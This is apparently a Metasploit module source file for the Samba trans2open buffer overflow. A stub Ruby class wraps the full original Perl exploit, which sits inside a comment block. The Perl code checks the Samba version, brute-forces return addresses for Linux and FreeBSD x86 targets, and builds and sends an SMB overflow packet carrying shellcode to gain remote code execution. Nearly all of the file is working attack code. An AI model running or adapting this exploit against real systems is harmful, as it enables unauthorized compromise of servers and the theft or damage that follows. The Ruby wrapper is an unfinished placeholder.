288 lines
6.5 KiB
Ruby
288 lines
6.5 KiB
Ruby
require 'msf/core'
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module Msf
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class Exploits::Windows::XXX_CHANGEME_XXX < Msf::Exploit::Remote
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include Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Samba trans2open Overflow',
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'Description' => %q{
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This exploits the buffer overflow found in Samba versions
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2.2.0 to 2.2.8. This particular module is capable of
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exploiting the bug on x86 Linux and FreeBSD systems.
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},
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'Author' => [ 'hdm' ],
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'OSVDB', '4469'],
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[ 'URL', 'http://www.digitaldefense.net/labs/advisories/DDI-1013.txt'],
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[ 'MIL', '53'],
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],
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'Privileged' => true,
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'Payload' =>
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{
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'Space' => 734,
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'BadChars' => "\x00",
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},
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'Targets' =>
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[
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[
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'Automatic Targetting',
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{
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'Platform' => 'linux, bsd',
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'Ret' => 0x0,
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},
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],
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],
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'DisclosureDate' => 'Apr 7 2003',
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'DefaultTarget' => 0))
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end
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def exploit
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connect
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handler
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disconnect
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end
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=begin
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##
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# This file is part of the Metasploit Framework and may be redistributed
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# according to the licenses defined in the Authors field below. In the
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# case of an unknown or missing license, this file defaults to the same
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# license as the core Framework (dual GPLv2 and Artistic). The latest
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# version of the Framework can always be obtained from metasploit.com.
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##
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package Msf::Exploit::samba_trans2open;
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use base 'Msf::Exploit';
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use strict;
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use Pex::Text;
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use Pex::SMB;
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my $advanced = { };
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my $info =
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{
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'Name' => 'Samba trans2open Overflow',
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'Version' => '$Revision$',
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'Authors' => [ 'H D Moore <hdm [at] metasploit.com>', ],
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'Arch' => [ 'x86' ],
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'OS' => [ 'linux', 'bsd' ],
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'Priv' => 1,
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'UserOpts' =>
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{
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'RHOST' => [1, 'ADDR', 'The target address'],
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'RPORT' => [1, 'PORT', 'The samba port', 139],
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'SRET', => [0, 'DATA', 'Use specified return address'],
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'DEBUG' => [0, 'BOOL', 'Enable debugging mode'],
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},
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'Payload' =>
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{
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'Space' => 734,
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'BadChars' => "\x00",
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'Keys' => ['+findsock'],
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},
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'Description' => Pex::Text::Freeform(qq{
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This exploits the buffer overflow found in Samba versions
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2.2.0 to 2.2.8. This particular module is capable of
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exploiting the bug on x86 Linux and FreeBSD systems.
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}),
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'Refs' =>
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[
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['OSVDB', '4469'],
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['URL', 'http://www.digitaldefense.net/labs/advisories/DDI-1013.txt'],
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['MIL', '53'],
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],
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'Targets' =>
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[
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["Linux x86", 0xbffffdfc, 0xbfa00000, 512, "RWRWDDRD"],
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["FreeBSD x86", 0xbfbffdfc, 0xbf100000, 512, "RWDWDDDD"],
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],
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'Keys' => ['samba'],
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'DisclosureDate' => 'Apr 7 2003',
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};
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sub new {
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my $class = shift;
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my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
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return($self);
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}
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sub Check {
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my $self = shift;
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my $target_host = $self->GetVar('RHOST');
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my $target_port = $self->GetVar('RPORT');
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my $s = Msf::Socket::Tcp->new
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(
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'PeerAddr' => $target_host,
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'PeerPort' => $target_port,
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'LocalPort' => $self->GetVar('CPORT'),
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);
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if ($s->IsError) {
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$self->PrintLine("[*] Error creating socket: " . $s->GetError);
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return $self->CheckCode('Connect');
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}
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my $x = Pex::SMB->new({ 'Socket' => $s });
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$x->SMBNegotiate();
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if ($x->Error) {
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$self->PrintLine("[*] Error negotiating protocol");
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return $self->CheckCode('Generic');
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}
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$x->SMBSessionSetup();
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if ($x->Error) {
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$self->PrintLine("[*] Error setting up session");
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return $self->CheckCode('Generic');
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}
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my $version = $x->PeerNativeLM();
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$s->Close;
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if (! $version) {
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$self->PrintLine("[*] Could not determine the remote Samba version");
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return $self->CheckCode('Generic');
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}
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$self->PrintDebugLine(1, 'LanMan: '.$version);
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$self->PrintDebugLine(1, ' OpSys: '.$x->PeerNativeOS);
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if ($version =~ /samba\s+([01]|2\.0|2\.2\.[0-7]|2\.2\.8$)/i) {
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$self->PrintLine("[*] Target seems to running vulnerable version: $version");
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return $self->CheckCode('Appears');
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}
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$self->PrintLine("[*] Target does not seem to be vulnerable: $version");
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return $self->CheckCode('Safe');
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}
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sub Exploit {
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my $self = shift;
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my $target_host = $self->GetVar('RHOST');
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my $target_port = $self->GetVar('RPORT');
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my $target_idx = $self->GetVar('TARGET');
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my $shellcode =$self->GetVar('EncodedPayload')->Payload;
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my $target = $self->Targets->[$target_idx];
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my $curr_ret;
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$self->PrintLine("[*] Starting bruteforce mode for target ".$target->[0]);
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if ($self->GetVar('SRET'))
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{
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my $ret = eval($self->GetVar('SRET')) + 0;
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$target->[1] = $target->[2] = $ret;
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}
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for (
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$curr_ret = $target->[1];
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$curr_ret >= $target->[2];
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$curr_ret -= $target->[3]
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)
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{
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my $Ret = pack("V", $curr_ret);
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my $Wri = pack("V", ($curr_ret - 128));
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my $Dat = "META";
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my $Addr;
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foreach (split(//, $target->[4]))
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{
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$Addr .= $Ret if $_ eq "R";
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$Addr .= $Wri if $_ eq "W";
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$Addr .= $Dat if $_ eq "D";
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}
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my $s = Msf::Socket::Tcp->new
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(
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'PeerAddr' => $target_host,
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'PeerPort' => $target_port,
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'LocalPort' => $self->GetVar('CPORT'),
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'SSL' => $self->GetVar('SSL'),
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);
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if ($s->IsError) {
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$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
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return;
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}
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my $x = Pex::SMB->new({ 'Socket' => $s });
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$x->SMBNegotiate();
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if ($x->Error) {
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$self->PrintLine("[*] Error negotiating protocol");
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return;
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}
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$x->SMBSessionSetup();
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if ($x->Error) {
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$self->PrintLine("[*] Error setting up session");
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return;
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}
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$x->SMBTConnect("\\\\127.0.0.1\\IPC\$");
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if ($x->Error) {
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$self->PrintLine("[*] Error connecting to IPC");
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return;
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}
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my $Overflow =
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"\x00\x04\x08\x20\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x00\x00\x00".
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"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00".
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"\x64\x00\x00\x00\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00".
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"\x00\x00\x00\x00\x00\x00\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01".
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"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
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"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90";
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$Overflow .= $shellcode;
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$Overflow .= "A" x 297;
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$Overflow .= $Addr . ("\x00" x 273);
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$self->PrintLine(sprintf("[*] Trying return address 0x%.8x...", $curr_ret));
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if ($self->GetVar('DEBUG'))
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{
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print STDERR "[*] Press enter to send overflow string...\n";
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<STDIN>;
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}
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$s->Send($Overflow);
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$s->Send("\x00" x 810);
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# handle client side of shellcode
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$self->Handler($s);
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# give the payload time to execute
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sleep(5) if ($self->GetVar('SRET'));
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$s->Close();
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undef($s);
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}
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return;
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}
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=end
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end
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end
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